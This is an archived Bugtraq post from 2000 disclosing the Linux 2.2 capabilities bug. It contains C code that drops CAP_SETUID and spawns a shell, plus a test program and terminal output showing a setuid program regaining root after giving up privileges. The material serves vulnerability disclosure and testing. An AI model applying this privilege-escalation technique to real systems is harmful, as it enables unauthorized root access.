[15258] in bugtraq

home help back first fref pref prev next nref lref last post

the Linux Capabilities bug

daemon@ATHENA.MIT.EDU (Roger Espel Llima)
Thu Jun 8 15:30:29 2000

Mail-Followup-To: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-Id:  <20000608165624.A577@rajpur.iagora.es>
Date:         Thu, 8 Jun 2000 16:56:24 +0200
Reply-To: Roger Espel Llima <espel@IAGORA.NET>
From: Roger Espel Llima <espel@IAGORA.NET>
To: BUGTRAQ@SECURITYFOCUS.COM

I did some testing about this Linux Capabilities bug; the problem is as
described: random user can take out the capability CAP_SETUID from its
inheritable set, and then execute a suid program.  The suid program runs
with full root privileges, *except* that when it does a
setuid(getuid());  (as many suid programs do to give up privileges), it
doesn't reset the saved uid.  So the program can later do a setuid(0);,
and get root privs again.

Here's some code to test whether giving up root works:

------- blep.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
        if (geteuid()) {
          printf("Run me as root please\n");
          exit(1);
        }
        printf("BEFORE: %d %d\n", getuid(), geteuid());
        setuid(getuid());
        printf("GAVE UP: %d %d\n", getuid(), geteuid());
        setuid(0);
        printf("GOT BACK: %d %d\n", getuid(), geteuid());
        if (!geteuid() || !getuid()) printf("PROBLEM!!\n");
        return 0;
}


And here's code to disable the CAP_SETUID capability:

------- suidcap.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/unistd.h>
#include <linux/capability.h>

_syscall2(int, capget, cap_user_header_t, header, cap_user_data_t, dataptr);
_syscall2(int, capset, cap_user_header_t, header, cap_user_data_t, dataptr);

typedef struct __user_cap_header_struct capheader_t;
typedef struct __user_cap_data_struct capdata_t;

void remove_cap(capdata_t *data, int cap) {
  data->effective &= ~(1 << cap);
  data->permitted &= ~(1 << cap);
  data->inheritable &= ~(1 << cap);
}

void cap_get(capheader_t *header, capdata_t *data) {
  if (capget(header, data) == 0) return;
  perror("capget");
  exit(-1);
}

void cap_set(capheader_t *header, capdata_t *data) {
  if (capset(header, data) == 0) return;
  perror("capset");
  exit(-1);
}

main() {
  capheader_t header;
  capdata_t data;

  header.version = _LINUX_CAPABILITY_VERSION;
  header.pid = 0;
  data.effective = data.permitted = data.inheritable = 0;
  cap_get(&header, &data);
  remove_cap(&data, CAP_SETUID);
  cap_set(&header, &data);
  printf("launching shell...\n");
  execl("/bin/sh", "/bin/sh", NULL);
  perror("execl");
}


And finally here's a demonstration of the problem:

$ uname -s -r
Linux 2.2.14-15mdk
$ gcc blep.c -o blep
$ gcc suidcap.c -o suidcap
$ su
Password:
# chown root.root blep
# chmod 4755 blep
# exit
$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
$ ./suidcap
launching shell...
sh-2.03$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 0
PROBLEM!!
sh-2.03$ exit

Finally, I can confirm that Linux 2.1.16 fixes the problem:

$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
$ ./suidcap
launching shell...
sh-2.03$ ./blep
BEFORE: 502 0
GAVE UP: 502 502
GOT BACK: 502 502
sh-2.03$ exit

--
Roger Espel Llima, espel@iagora.net
http://www.iagora.com/~espel/index.html

home help back first fref pref prev next nref lref last post